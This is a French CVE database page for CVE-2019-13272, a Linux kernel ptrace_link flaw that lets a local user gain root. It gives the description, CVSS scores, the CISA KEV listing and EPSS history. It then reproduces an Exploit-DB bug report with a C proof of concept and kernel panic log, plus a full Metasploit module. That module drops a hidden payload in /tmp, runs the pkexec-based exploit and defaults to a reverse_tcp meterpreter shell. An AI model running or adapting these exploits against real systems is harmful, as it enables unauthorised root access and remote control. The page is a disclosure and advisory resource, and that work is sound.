CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
In the Linux kernel before 5.1.17, ptrace_link in kernel/ptrace.c mishandles the recording of the credentials of a process that wants to create a ptrace relationship, which allows local users to obtain root access by leveraging certain scenarios with a parent-child process relationship, where a parent drops privileges and calls execve (potentially allowing control by an attacker). One contributing factor is an object lifetime issue (which can also cause a panic). Another contributing factor is incorrect marking of a ptrace relationship as privileged, which is exploitable through (for example) Polkit's pkexec helper with PTRACE_TRACEME. NOTE: SELinux deny_ptrace might be a usable workaround in some environments.
Informations du CVE
Faiblesses connexes
CWE-ID
Nom de la faiblesse
Source
CWE Other
No informations.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V3.1
7.8
HIGH
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
More informations
Base: Exploitabilty Metrics
The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.
Attack Vector
This metric reflects the context by which vulnerability exploitation is possible.
Local
The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.
Attack Complexity
This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.
Low
Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.
Privileges Required
This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.
Low
The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.
None
The vulnerable system can be exploited without interaction from any user.
Base: Scope Metrics
The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.
Scope
Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.
Unchanged
An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Base: Impact Metrics
The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.
Confidentiality Impact
This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.
High
There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Integrity Impact
This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.
High
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
Availability Impact
This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.
High
There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Temporal Metrics
The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.
Environmental Metrics
These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
nvd@nist.gov
V2
7.2
AV:L/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
CISA KEV (Vulnérabilités Exploitées Connues)
Nom de la vulnérabilité : Linux Kernel Improper Privilege Management Vulnerability
Action requise : Apply updates per vendor instructions.
Connu pour être utilisé dans des campagnes de ransomware : Unknown
Ajouter le : 2021-12-09 23h00 +00:00
Action attendue : 2022-06-09 22h00 +00:00
Informations importantes
Ce CVE est identifié comme vulnérable et constitue une menace active, selon le Catalogue des Vulnérabilités Exploitées Connues (CISA KEV). La CISA a répertorié cette vulnérabilité comme étant activement exploitée par des cybercriminels, soulignant ainsi l'importance de prendre des mesures immédiates pour remédier à cette faille. Il est impératif de prioriser la mise à jour et la correction de ce CVE afin de protéger les systèmes contre les potentielles cyberattaques.
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2021-04-18
52.07%
–
–
–
–
2021-09-05
–
52.07%
–
–
–
2021-11-28
–
52.93%
–
–
–
2022-01-09
–
52.93%
–
–
–
2022-02-06
–
–
2.41%
–
–
2022-02-13
–
–
2.41%
–
–
2022-04-03
–
–
2.41%
–
–
2022-07-17
–
–
2.41%
–
–
2023-01-15
–
–
2.3%
–
–
2023-03-12
–
–
–
0.05%
–
2024-02-11
–
–
–
0.05%
–
2024-03-03
–
–
–
0.05%
–
2024-04-14
–
–
–
0.05%
–
2024-06-02
–
–
–
0.05%
–
2024-07-07
–
–
–
0.05%
–
2024-07-28
–
–
–
0.27%
–
2024-11-17
–
–
–
0.27%
–
2024-12-22
–
–
–
0.32%
–
2025-03-16
–
–
–
0.32%
–
2025-01-19
–
–
–
0.32%
–
2025-03-18
–
–
–
–
83.2%
2025-04-06
–
–
–
–
81.73%
2025-04-06
–
–
–
–
81.73,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2019-07-16 22h00 +00:00 Auteur : Google Security Research EDB Vérifié : Yes
== Summary ==
This bug report describes two issues introduced by commit 64b875f7ac8a ("ptrace:
Capture the ptracer's creds not PT_PTRACE_CAP", introduced in v4.10 but also
stable-backported to older versions). I will send a suggested patch in a minute
("ptrace: Fix ->ptracer_cred handling for PTRACE_TRACEME").
When called for PTRACE_TRACEME, ptrace_link() would obtain an RCU reference
to the parent's objective credentials, then give that pointer to
get_cred(). However, the object lifetime rules for things like struct cred
do not permit unconditionally turning an RCU reference into a stable
reference.
PTRACE_TRACEME records the parent's credentials as if the parent was acting
as the subject, but that's not the case. If a malicious unprivileged child
uses PTRACE_TRACEME and the parent is privileged, and at a later point, the
parent process becomes attacker-controlled (because it drops privileges and
calls execve()), the attacker ends up with control over two processes with
a privileged ptrace relationship, which can be abused to ptrace a suid
binary and obtain root privileges.
== Long bug description ==
While I was trying to refactor the cred_guard_mutex logic, I stumbled over the
following issues:
ptrace relationships can be set up in two ways: Either the tracer attaches to
another process (PTRACE_ATTACH/PTRACE_SEIZE), or the tracee forces its parent to
attach to it (PTRACE_TRACEME).
When a tracee goes through a privilege-gaining execve(), the kernel checks
whether the ptrace relationship is privileged. If it is not, the
privilege-gaining effect of execve is suppressed.
The idea here is that a privileged tracer (e.g. if root runs "strace" on
some process) is allowed to trace through setuid/setcap execution, but an
unprivileged tracer must not be allowed to do that, since it could otherwise
inject arbitrary code into privileged processes.
In the PTRACE_ATTACH/PTRACE_SEIZE case, the tracer's credentials are recorded at
the time it calls PTRACE_ATTACH/PTRACE_SEIZE; later, when the tracee goes
through execve(), it is checked whether the recorded credentials are capable
over the tracee's user namespace.
But in the PTRACE_TRACEME case, the kernel also records _the tracer's_
credentials, even though the tracer is not requesting the operation. There are
two problems with that.
First, there is an object lifetime issue:
ptrace_traceme() -> ptrace_link() grabs __task_cred(new_parent) in an RCU
read-side critical section, then passes the creds to __ptrace_link(), which
calls get_cred() on them. If the parent concurrently switches its creds (e.g.
via setresuid()), the creds' refcount may already be zero, in which case
put_cred_rcu() will already have been scheduled. The kernel usually manages to
panic() before memory corruption occurs here using the following code in
put_cred_rcu(); however, I think memory corruption would also be possible if
this code races exactly the right way.
if (atomic_read(&cred->usage) != 0)
panic("CRED: put_cred_rcu() sees %p with usage %d\n",
cred, atomic_read(&cred->usage));
A simple PoC to trigger this bug:
============================
#define _GNU_SOURCE
#include <unistd.h>
#include <signal.h>
#include <sched.h>
#include <err.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <sys/ptrace.h>
int grandchild_fn(void *dummy) {
if (ptrace(PTRACE_TRACEME, 0, NULL, NULL))
err(1, "traceme");
return 0;
}
int main(void) {
pid_t child = fork();
if (child == -1) err(1, "fork");
/* child */
if (child == 0) {
static char child_stack[0x100000];
prctl(PR_SET_PDEATHSIG, SIGKILL);
while (1) {
if (clone(grandchild_fn, child_stack+sizeof(child_stack), CLONE_FILES|CLONE_FS|CLONE_IO|CLONE_PARENT|CLONE_VM|CLONE_SIGHAND|CLONE_SYSVSEM|CLONE_VFORK, NULL) == -1)
err(1, "clone failed");
}
}
/* parent */
uid_t uid = getuid();
while (1) {
if (setresuid(uid, uid, uid)) err(1, "setresuid");
}
}
============================
Result:
============================
[ 484.576983] ------------[ cut here ]------------
[ 484.580565] kernel BUG at kernel/cred.c:138!
[ 484.585278] Kernel panic - not syncing: CRED: put_cred_rcu() sees 000000009e024125 with usage 1
[ 484.589063] CPU: 1 PID: 1908 Comm: panic Not tainted 5.2.0-rc7 #431
[ 484.592410] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.12.0-1 04/01/2014
[ 484.595843] Call Trace:
[ 484.598688] <IRQ>
[ 484.601451] dump_stack+0x7c/0xbb
[...]
[ 484.607349] panic+0x188/0x39a
[...]
[ 484.622650] put_cred_rcu+0x112/0x120
[...]
[ 484.628580] rcu_core+0x664/0x1260
[...]
[ 484.646675] __do_softirq+0x11d/0x5dd
[ 484.649523] irq_exit+0xe3/0xf0
[ 484.652374] smp_apic_timer_interrupt+0x103/0x320
[ 484.655293] apic_timer_interrupt+0xf/0x20
[ 484.658187] </IRQ>
[ 484.660928] RIP: 0010:do_error_trap+0x8d/0x110
[ 484.664114] Code: da 4c 89 ee bf 08 00 00 00 e8 df a5 09 00 3d 01 80 00 00 74 54 48 8d bb 90 00 00 00 e8 cc 8e 29 00 f6 83 91 00 00 00 02 75 2b <4c> 89 7c 24 40 44 8b 4c 24 04 48 83 c4 08 4d 89 f0 48 89 d9 4c 89
[ 484.669035] RSP: 0018:ffff8881ddf2fd58 EFLAGS: 00000246 ORIG_RAX: ffffffffffffff13
[ 484.672784] RAX: 0000000000000000 RBX: ffff8881ddf2fdb8 RCX: ffffffff811144dd
[ 484.676450] RDX: 0000000000000007 RSI: dffffc0000000000 RDI: ffff8881eabc4bf4
[ 484.680306] RBP: 0000000000000006 R08: fffffbfff0627a02 R09: 0000000000000000
[ 484.684033] R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000004
[ 484.687697] R13: ffffffff82618dc0 R14: 0000000000000000 R15: ffffffff810c99d5
[...]
[ 484.700626] do_invalid_op+0x31/0x40
[...]
[ 484.707183] invalid_op+0x14/0x20
[ 484.710499] RIP: 0010:__put_cred+0x65/0x70
[ 484.713598] Code: 48 8d bd 90 06 00 00 e8 49 e2 1f 00 48 3b 9d 90 06 00 00 74 19 48 8d bb 90 00 00 00 48 c7 c6 50 98 0c 81 5b 5d e9 ab 1f 08 00 <0f> 0b 0f 0b 0f 0b 0f 1f 44 00 00 55 53 48 89 fb 48 81 c7 90 06 00
[ 484.718633] RSP: 0018:ffff8881ddf2fe68 EFLAGS: 00010202
[ 484.722407] RAX: 0000000000000001 RBX: ffff8881f38a4600 RCX: ffffffff810c9987
[ 484.726147] RDX: 0000000000000003 RSI: dffffc0000000000 RDI: ffff8881f38a4600
[ 484.730049] RBP: ffff8881f38a4600 R08: ffffed103e7148c1 R09: ffffed103e7148c1
[ 484.733857] R10: 0000000000000001 R11: ffffed103e7148c0 R12: ffff8881eabc4380
[ 484.737923] R13: 00000000000003e8 R14: ffff8881f1a5b000 R15: ffff8881f38a4778
[...]
[ 484.748760] commit_creds+0x41c/0x520
[...]
[ 484.756115] __sys_setresuid+0x1cb/0x1f0
[ 484.759634] do_syscall_64+0x5d/0x260
[ 484.763024] entry_SYSCALL_64_after_hwframe+0x49/0xbe
[ 484.766441] RIP: 0033:0x7fcab9bb4845
[ 484.769839] Code: 0f 1f 44 00 00 48 83 ec 38 64 48 8b 04 25 28 00 00 00 48 89 44 24 28 31 c0 8b 05 a6 8e 0f 00 85 c0 75 2a b8 75 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 53 48 8b 4c 24 28 64 48 33 0c 25 28 00 00 00
[ 484.775183] RSP: 002b:00007ffe01137aa0 EFLAGS: 00000246 ORIG_RAX: 0000000000000075
[ 484.779226] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007fcab9bb4845
[ 484.783057] RDX: 00000000000003e8 RSI: 00000000000003e8 RDI: 00000000000003e8
[ 484.787101] RBP: 00007ffe01137af0 R08: 0000000000000000 R09: 00007fcab9caf500
[ 484.791045] R10: fffffffffffff4d4 R11: 0000000000000246 R12: 00005573b2f240b0
[ 484.794891] R13: 00007ffe01137bd0 R14: 0000000000000000 R15: 0000000000000000
[ 484.799171] Kernel Offset: disabled
[ 484.802932] ---[ end Kernel panic - not syncing: CRED: put_cred_rcu() sees 000000009e024125 with usage 1 ]---
============================
The second problem is that, because the PTRACE_TRACEME case grabs the
credentials of a potentially unaware tracer, it can be possible for a normal
user to create and use a ptrace relationship that is marked as privileged even
though no privileged code ever requested or used that ptrace relationship.
This requires the presence of a setuid binary with certain behavior: It has to
drop privileges and then become dumpable again (via prctl() or execve()).
- task A: fork()s a child, task B
- task B: fork()s a child, task C
- task B: execve(/some/special/suid/binary)
- task C: PTRACE_TRACEME (creates privileged ptrace relationship)
- task C: execve(/usr/bin/passwd)
- task B: drop privileges (setresuid(getuid(), getuid(), getuid()))
- task B: become dumpable again (e.g. execve(/some/other/binary))
- task A: PTRACE_ATTACH to task B
- task A: use ptrace to take control of task B
- task B: use ptrace to take control of task C
Polkit's pkexec helper fits this pattern. On a typical desktop system, any
process running under an active local session can invoke some helpers through
pkexec (see configuration in /usr/share/polkit-1/actions, search for <action>s
that specify <allow_active>yes</allow_active> and
<annotate key="org.freedesktop.policykit.exec.path">...</annotate>).
While pkexec is normally used to run programs as root, pkexec actually allows
its caller to specify the user to run a command as with --user, which permits
using pkexec to run a command as the user who executed pkexec. (Which is kinda
weird... why would I want to run pkexec helpers as more than one fixed user?)
I have attached a proof-of-concept that works on Debian 10 running a distro
kernel and the XFCE desktop environment; if you use a different desktop
environment, you may have to add a path to the `helpers` array in the PoC. When
you compile and run it in an active local session, you should get a root shell
within a second.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47133.zip
Date de publication : 2019-10-23 22h00 +00:00 Auteur : Metasploit EDB Vérifié : Yes
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::Kernel
include Msf::Post::Linux::System
include Msf::Post::Linux::Compile
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Linux Polkit pkexec helper PTRACE_TRACEME local root exploit',
'Description' => %q{
This module exploits an issue in ptrace_link in kernel/ptrace.c before Linux
kernel 5.1.17. This issue can be exploited from a Linux desktop terminal, but
not over an SSH session, as it requires execution from within the context of
a user with an active Polkit agent.
In the Linux kernel before 5.1.17, ptrace_link in kernel/ptrace.c mishandles
the recording of the credentials of a process that wants to create a ptrace
relationship, which allows local users to obtain root access by leveraging
certain scenarios with a parent-child process relationship, where a parent drops
privileges and calls execve (potentially allowing control by an attacker). One
contributing factor is an object lifetime issue (which can also cause a panic).
Another contributing factor is incorrect marking of a ptrace relationship as
privileged, which is exploitable through (for example) Polkit's pkexec helper
with PTRACE_TRACEME.
},
'License' => MSF_LICENSE,
'Author' => [
'Jann Horn', # Discovery and exploit
'bcoles', # Metasploit module
'timwr', # Metasploit module
],
'References' => [
['CVE', '2019-13272'],
['EDB', '47133'],
['PACKETSTORM', '153663'],
['URL', 'https://github.com/bcoles/kernel-exploits/tree/master/CVE-2019-13272'],
['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1903'],
],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X64 ],
'Targets' => [[ 'Auto', {} ]],
'DefaultOptions' =>
{
'Payload' => 'linux/x64/meterpreter/reverse_tcp',
'PrependFork' => true,
},
'DisclosureDate' => 'Jul 4 2019'))
register_advanced_options [
OptBool.new('ForceExploit', [false, 'Override check result', false]),
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
]
end
def check
# Introduced in 4.10, but also backported
# Patched in 4.4.185, 4.9.185, 4.14.133, 4.19.58, 5.1.17
release = kernel_release
v = Gem::Version.new release.split('-').first
if v >= Gem::Version.new('5.1.17') || v < Gem::Version.new('3')
vprint_error "Kernel version #{release} is not vulnerable"
return CheckCode::Safe
end
vprint_good "Kernel version #{release} appears to be vulnerable"
unless command_exists? 'pkexec'
vprint_error 'pkexec is not installed'
return CheckCode::Safe
end
vprint_good 'pkexec is installed'
arch = kernel_hardware
unless arch.include? 'x86_64'
vprint_error "System architecture #{arch} is not supported"
return CheckCode::Safe
end
vprint_good "System architecture #{arch} is supported"
loginctl_output = cmd_exec('loginctl --no-ask-password show-session "$XDG_SESSION_ID" | grep Remote')
if loginctl_output =~ /Remote=yes/
print_warning 'This is exploit requires a valid policykit session (it cannot be executed over ssh)'
return CheckCode::Safe
end
CheckCode::Appears
end
def exploit
if is_root? && !datastore['ForceExploit']
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
end
unless check == CheckCode::Appears
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end
unless writable? datastore['WritableDir']
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
end
payload_file = "#{datastore['WritableDir']}/.#{Rex::Text.rand_text_alpha_lower(6..12)}"
upload_and_chmodx(payload_file, generate_payload_exe)
register_file_for_cleanup(payload_file)
exploit_file = "#{datastore['WritableDir']}/.#{Rex::Text.rand_text_alpha_lower(6..12)}"
if live_compile?
vprint_status 'Live compiling exploit on system...'
upload_and_compile exploit_file, exploit_data('CVE-2019-13272', 'poc.c')
else
vprint_status 'Dropping pre-compiled exploit on system...'
upload_and_chmodx exploit_file, exploit_data('CVE-2019-13272', 'exploit')
end
register_file_for_cleanup(exploit_file)
print_status("Executing exploit '#{exploit_file}'")
result = cmd_exec("echo #{payload_file} | #{exploit_file}")
print_status("Exploit result:\n#{result}")
end
end
Products Mentioned
Configuraton 0
Linux>>Linux_kernel >> Version From (including) 3.16.52 To (excluding) 3.16.71